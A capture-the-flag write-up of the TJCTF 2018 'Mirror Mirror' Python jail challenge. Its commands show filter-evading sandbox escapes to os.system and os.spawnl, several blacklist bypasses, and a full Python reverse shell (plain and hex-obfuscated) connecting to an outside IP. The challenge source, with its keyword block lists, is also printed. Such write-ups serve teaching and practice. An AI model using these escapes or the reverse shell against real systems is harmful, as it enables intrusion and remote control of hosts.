Mirror Mirror

TJCTF 2018 - Miscellaneous (100 pts).

TJCTF 2018 : Mirror Mirror

Challenge details

Event Challenge Category Points Solves
TJCTF 2018 Mirror Mirror Misc 100 91

Description

If you look closely, you can see a reflection.

nc problem1.tjctf.org 8004

TL;DR

This challenge was a PyJail, the expected solution was to use obfuscation to bypass a non-alphanumeric regex. But we managed to find unexpected solution.

Enumeration

$ nc problem1.tjctf.org 8004
Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!
>>>

So, the challenge seems to be a PyJail, so let’s start to enumerate properties using dir() on the get_flag function.

>>> dir(get_flag)
[
   '__call__',
   '__class__',
   '__closure__',
   '__code__',
   '__defaults__',
   '__delattr__',
   '__dict__',
   '__doc__',
   '__format__',
   '__get__',
   '__getattribute__',
   '__globals__',
   '__hash__',
   '__init__',
   '__module__',
   '__name__',
   '__new__',
   '__reduce__',
   '__reduce_ex__',
   '__repr__',
   '__setattr__',
   '__sizeof__',
   '__str__',
   '__subclasshook__',
   'func_closure',
   'func_code',
   'func_defaults',
   'func_dict',
   'func_doc',
   'func_globals',
   'func_name'
]

Let’s dig deeper in the func_globals attributes.

>>> get_flag.func_globals
{
   'PseudoFile':<class '__main__.PseudoFile'>,
   'code':<module 'code' from '/usr/lib/python2.7/code.pyc'>,
   'bad':[
      '__class__',
      '__base__',
      '__subclasses__',
      '_module',
      'open',
      'eval',
      'execfile',
      'exec',
      'type',
      'lambda',
      'getattr',
      'setattr',
      '__',
      'file',
      'reload',
      'compile',
      'builtins',
      'os',
      'sys',
      'system',
      'vars',
      'getattr',
      'setattr',
      'delattr',
      'input',
      'raw_input',
      'help',
      'open',
      'memoryview',
      'eval',
      'exec',
      'execfile',
      'super',
      'file',
      'reload',
      'repr',
      'staticmethod',
      'property',
      'intern',
      'coerce',
      'buffer',
      'apply'
   ],
   '__builtins__':<module '?' (built-in)>,
   '__file__':'/home/app/problem.py',
   'execfile':<built-in function execfile>,
   '__package__':None,
   'sys':<module 'sys' (built-in)>,
   'getattr':<built-in function getattr>,
   'Shell':<class __main__.Shell at 0x7f1979641c80>,
   'banned':[
      'vars',
      'getattr',
      'setattr',
      'delattr',
      'input',
      'raw_input',
      'help',
      'open',
      'memoryview',
      'eval',
      'exec',
      'execfile',
      'super',
      'file',
      'reload',
      'repr',
      'staticmethod',
      'property',
      'intern',
      'coerce',
      'buffer',
      'apply'
   ],
   'InteractiveConsole':<class code.InteractiveConsole at 0x7f1979641c18>,
   'eval':<built-in function eval>,
   'get_flag':<function get_flag at 0x7f19796518c0>,
   '__name__':'__main__',
   'main':<function main at 0x7f1979664410>,
   '__doc__':None,
   'print_function':_Feature((2,
   6,
   0,
   'alpha',
   2   ),
   (3,
   0,
   0,
   'alpha',
   0   ),
   65536   )
}

Yay, get_flag.func_globals contains the sys module, sounds good!

Import OS

Now, we need to access it, but we face an issue:

>>> get_flag.func_globals['sys']
Sorry, that's not allowed

Ok, so the word ‘sys’ is blocked, as all other words in get_flag.func_globals[‘bad’] and get_flag.func_globals[‘banned’]. To bypass this issue we can use the ‘sys’ from the bad wordlist itself.

>>> x = get_flag.func_globals['bad'][18]
>>> x
'sys'
>>> get_flag.func_globals[x]
<module 'sys' (built-in)>

Now, that we get the sys module we need os, you can get it through sys.modules[‘os’]. We used the same bypass we used earlier.

>>> y = get_flag.func_globals['bad'][17]
>>> y
'os'
>>> z = get_flag.func_globals[x].modules[y]
>>> z
<module 'os' from '/usr/lib/python2.7/os.pyc'>

Execute system commands

Let’s test our lovely os module.

>>> z.listdir('.')
[
   '.bash_logout',
   '.profile',
   '.bashrc',
   'wrapper',
   'problem.py'
]

It works like a charm!

After that, we can go straight to the code execution, or not… The good thing is that we have access to the os module, and the bad is that a lot of functions to execute system commands are blocked, so we can’t simply do z.system(‘cmd’).

After several minutes reading the os’s module documentation, I finally found a set of functions that aren’t banned: os.spawn*().

>>> z.spawnl(1, '/usr/bin/id', 'id')
13663 # <- the pid of the created process
>>> uid=1000(app) gid=1000(app) groups=1000(app)

And we got the command execution! The RCE is enough to flag this challenge, but to be more comfortable, we will set up a reverse shell ;)

Get a reverse shell

Enumeration

First, we enumerate some tools to run a reverse shell on the system, using which.

>>> z.spawnl(1, '/bin/which','which','nc', 'netcat', 'ncat', 'php', 'telnet', 'perl', 'ruby', 'java', 'python', 'awk', 'gawk', 'node', 'nodejs', 'lua', 'tclsh', 'socat', 'xterm')
13686
>>> /usr/bin/perl
/usr/bin/python
/usr/bin/awk

There isn’t a lot of possibilities, so we’ll use Python.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.10",8080));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Filter bypass

However, as in the beginning, the blacklist bothers us…

There are multiple ways to bypass it, we can use the same trick as we used to recover ‘sys’ and ‘os’, but I’ll use another one, hex encoding.

>>> '\x6fpen'
'open'

Let’s clarify a bit: since the wordlist validation process seems to be character based, the script will not match our payload since it has been encoded using escaped hexadecimal value, but it’ll be decoded as usual when it comes to execution step (’\x6f’ becomes a ‘o’). So let’s modify the reverse shell, to get it through the filter.

import socket,subprocess,\x6fs;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.10",8080));
\x6fs.dup2(s.\x66ileno(),0);
\x6fs.dup2(s.\x66ileno(),1);
\x6fs.dup2(s.\x66ileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Listening on 8080 port, we finally get a reverse shell!

$ nc -lvp 8080
listening on [any] 8080 ...
>>> get_flag.func_globals['\x73ys'].modules['\x6fs'].spawnl(1, '/usr/bin/python', 'python', '-c', 'import socket,subprocess,\x6fs;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",8080));\x6fs.dup2(s.\x66ileno(),0);\x6fs.dup2(s.\x66ileno(),1);\x6fs.dup2(s.\x66ileno(),2);p=subprocess.call(["/bin/sh","-i"])')
connect to [10.10.10.10] from 99.203.236.35.bc.googleusercontent.com [35.236.203.99] 40436
/bin/sh: 0: can't access tty; job control turned off
$ ls -lash
total 36K
4.0K dr-xr-xr-x 1 app  app  4.0K Aug  7 15:43 .
4.0K drwxr-xr-x 1 root root 4.0K Aug  2 19:18 ..
4.0K -r--r--r-- 1 app  app   220 Apr  4 18:30 .bash_logout
4.0K -r--r--r-- 1 app  app  3.7K Apr  4 18:30 .bashrc
4.0K -r--r--r-- 1 app  app   807 Apr  4 18:30 .profile
 12K -r-xr-xr-x 1 root root 8.6K Aug  7 15:43 problem.py
4.0K -r-xr-xr-x 1 root root   79 Aug  2 19:51 wrapper
$ cat problem.py
#!/usr/bin/python -u

from __future__ import print_function
from code import InteractiveConsole
import code
import sys

getattr = getattr
eval = eval
execfile = execfile
bad = ["__class__", "__base__", "__subclasses__", "_module", "open", "eval", "execfile", "exec", "type", "lambda", "getattr", "setattr", "__", "file", "reload", "compile", "builtins", "os", "sys", "system"]
banned = ["vars", "getattr", "setattr", "delattr", "input", "raw_input", "help", "open", "memoryview", "eval", "exec", "execfile", "super", "file", "reload", "repr", "staticmethod", "property", "intern", "coerce", "buffer", "apply"]
bad.extend(banned)

def get_flag(input):
    super_secret_string = "this_is_the_super_secret_string"
    for each in str(input):
        val = ord(each)
        if((val >= 48 and val <= 57) or (val >= 65 and val <= 90) or (val >= 97 and val <= 122) or val == 44 or val == 95):
            print(each + " is not a valid character")
            sys.stdout.flush()
            return
    if(eval(input) == super_secret_string):
        print(`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~((((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))))
    else:
        print("You didn't guess the value of my super_secret_string")
    sys.stdout.flush()

class PseudoFile(object):

    def __init__(self, sh):
        self.sh = sh

    def write(self, s):
        self.sh.write(s)

    def writelines(self, lines):
        for line in lines:
            self.write(line)

    def flush(self):
        pass

    def isatty(self):
        return True

class Shell(code.InteractiveConsole):
    "Wrapper around Python that can filter input/output to the shell"

    def __init__(self):
        code.InteractiveConsole.__init__(self)
        self.thread = None


    def push(self, line):
        for any in bad:
            if any in line:
                print("Sorry, that's not allowed.")
                sys.stdout.flush()
                return
        return code.InteractiveConsole.push(self, line)

    def raw_input(self, prompt=""):
        print(">>>", end=" ")
        sys.stdout.flush()
        a = ""
        try:
            a = sys.stdin.readline().strip()
        except EOFError:
            pass
        return a

    def runcode(self, _code):
        org_stdout = sys.stdout
        sys.stdout = PseudoFile(self)
        try:
            exec _code in self.locals
        except SystemExit:
            raise
        except:
            self.showtraceback()
        else:
            if code.softspace(sys.stdout, 0):
                print

        sys.stdout = org_stdout

    def interact(self, banner=None):
        try:
            sys.ps1
        except AttributeError:
            sys.ps1 = ">>> "
        try:
            sys.ps2
        except AttributeError:
            sys.ps2 = "... "
        cprt = 'Type "help", "copyright", "credits" or "license" for more information.'
        if banner is None:
            self.write("Python %s on %s\n%s\n(%s)\n" %
                       (sys.version, sys.platform, cprt,
                        self.__class__.__name__))
        else:
            self.write("%s\n" % str(banner))
        more = 0
        while 1:
            try:
                if more:
                    prompt = sys.ps2
                else:
                    prompt = sys.ps1
                try:
                    line = self.raw_input(prompt)
                    # Can be None if sys.stdin was redefined
                    encoding = getattr(sys.stdin, "encoding", None)
                    if encoding and not isinstance(line, unicode):
                        line = line.decode(encoding)
                except EOFError:
                    self.write("\n")
                    break
                else:
                    more = self.push(line)
            except KeyboardInterrupt:
                self.write("\nKeyboardInterrupt\n")
                self.resetbuffer()
                more = 0

def main():
    banner = ("Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!")

    a = __builtins__
    for each in a.__dict__.keys():
        if("__" in each):
            del a.__dict__[each]
    del a.__dict__["getattr"]
    del a.__dict__["eval"]
    del a.__dict__["execfile"]


    shell = Shell()
    shell.locals['get_flag'] = get_flag
    shell.locals['__builtins__'] = a
    shell.interact(banner=banner)

if __name__=="__main__":
    main()

Others methods

So we have exploited this Jail using sys.modules[‘os’].spawn*(), but there are several others methods: - Getattr - Eval

Getattr method

To execute commands using getattr, we need: getattr and os.

getattr(os, 'system')('/bin/sh')

We have already seen above how to access them.

>>> get_flag.func_globals['getatt'+'r']
<built-in function getattr>
>>> get_flag.func_globals['s'+'ys'].modules['o'+'s']
<module 'os' from '/usr/lib/python2.7/os.pyc'>

Now that we have all the elements, we need to put them together, to get a shell.

>>> get_flag.func_globals['g'+'etattr'](get_flag.func_globals['s'+'ys'].modules['o'+'s'], 's'+'ystem')('/bin/sh')
id && pwd && ls -l
uid=1000(app) gid=1000(app) groups=1000(app)
/home/app
total 16
-r-xr-xr-x 1 root root 8803 Aug  7 15:43 problem.py
-r-xr-xr-x 1 root root   79 Aug  2 19:51 wrapper

If we don’t have access to os, we can use builtins, like open:

>>> b = globals()['_'+'_bui'+'ltins_'+'_']
>>> dir(b)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
>>> get_flag.func_globals['g'+'etattr'](b, 'o'+'pen')('problem.py', 'r').read()
'#!/usr/bin/python -u\n\nfrom __future__ import print_...'

Eval method

Using eval is pretty much the same as getattr.

>>> get_flag.func_globals['e'+'val']('o'+'pen("problem.py", "r").read()')
'#!/usr/bin/python -u\n\nfrom __future__ import print_...'
>>> get_flag.func_globals['e'+'val']("get_flag.func_globals['s'+'ys'].modules['o'+'s'].s"+"ystem('/bin/sh')")

But you can also, combine it with the catch_warnings technique.

>>> ev = get_flag.func_globals.values()[12]
>>> sc = ev('()._'+'_class_'+'_._'+'_base_'+'_._'+'_subclasses_'+'_()')
>>> sc[59]
<class 'warnings.catch_warnings'>
>>> ev('()._'+'_class_'+'_._'+'_base_'+'_._'+'_subclasses_'+'_()[59]._'+'_r'+'epr_'+'_.im_func.func_globals["linecache"].o'+'s.s'+'ystem("/bin/sh")')

Other blacklist bypass

Since the beginning, we have used different methods to bypass the blacklist (concatenation, hex encoding, and variable reuse) but there is another one, redefine the blacklist ;)

>>> get_flag.func_globals['bad']
['__class__', '__base__', '__subclasses__', '_module', 'open', 'eval', 'execfile', 'exec', 'type', 'lambda', 'getattr', 'setattr', '__', 'file', 'reload', 'compile', 'builtins', 'os', 'sys', 'system', 'vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply']
>>> get_flag.func_globals['bad']=()
>>> get_flag.func_globals['bad']
()

The blacklist is now empty!

>>> get_flag.func_globals['sys'].modules['os'].system('/bin/sh')

Flag

>>> print(`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~((((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))))

tjctf{wh0_kn3w_pyth0n_w4s_s0_sl1pp3ry}

DrStache